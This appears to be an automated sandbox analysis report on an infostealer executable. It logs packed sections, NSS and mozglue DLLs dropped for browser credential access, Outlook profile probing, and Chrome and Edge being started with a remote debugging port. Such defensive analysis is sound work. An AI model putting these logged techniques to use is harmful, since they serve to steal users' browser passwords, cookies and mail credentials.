Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD9B0	0_2_6C5AD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57C9A0	0_2_6C57C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9A60	0_2_6C5B9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8AC0	0_2_6C5B8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C591AF0	0_2_6C591AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE2F0	0_2_6C5BE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EBA90	0_2_6C5EBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58CAB0	0_2_6C58CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2AB0	0_2_6C5E2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5722A0	0_2_6C5722A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A4AA0	0_2_6C5A4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C575340	0_2_6C575340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58C370	0_2_6C58C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD320	0_2_6C5BD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E53C8	0_2_6C5E53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57F380	0_2_6C57F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5ACBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5B94D0 appears 90 times

Source: file.exe, 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2605873248.000000006C7F5000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: hrutarix ZLIB complexity 0.994823623285061

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/301@26/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C5D7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\GJXGFGP9.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\a6308168-846e-4d78-ae32-9ca54c532ee9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2335615615.000000001D688000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2438746426.000000001D67C000.00000004.00000020.00020000.00000000.sdmp, JDHIEBFHCAKEHIDGHCBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2605144431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2597965126.000000001D78E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2088,i,1954043668539771639,8201722500257745172,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2548,i,8434431473266901981,1364443360911766042,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7076 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7236 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7200 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2088,i,1954043668539771639,8201722500257745172,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2548,i,8434431473266901981,1364443360911766042,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7076 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7236 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7200 --field-trial-handle=2072,i,11562433093495282818,3155282962993123888,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2118144 > 1048576

Source: file.exe

Static PE information: Raw size of hrutarix is bigger than: 0x100000 < 0x19a000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2606057339.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2165259580.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2578960631.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2606057339.000000006CFA1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2165259580.0000000004F4B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2605739623.000000006C7AF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;hrutarix:EW;onztstug:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;hrutarix:EW;onztstug:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5DC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x206cdb should be: 0x20a6fe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hrutarix
Source: file.exe	Static PE information: section name: onztstug
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5AB536 push ecx; ret

0_2_6C5AB549

Source: file.exe

Static PE information: section name: hrutarix entropy: 7.953572062843209

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

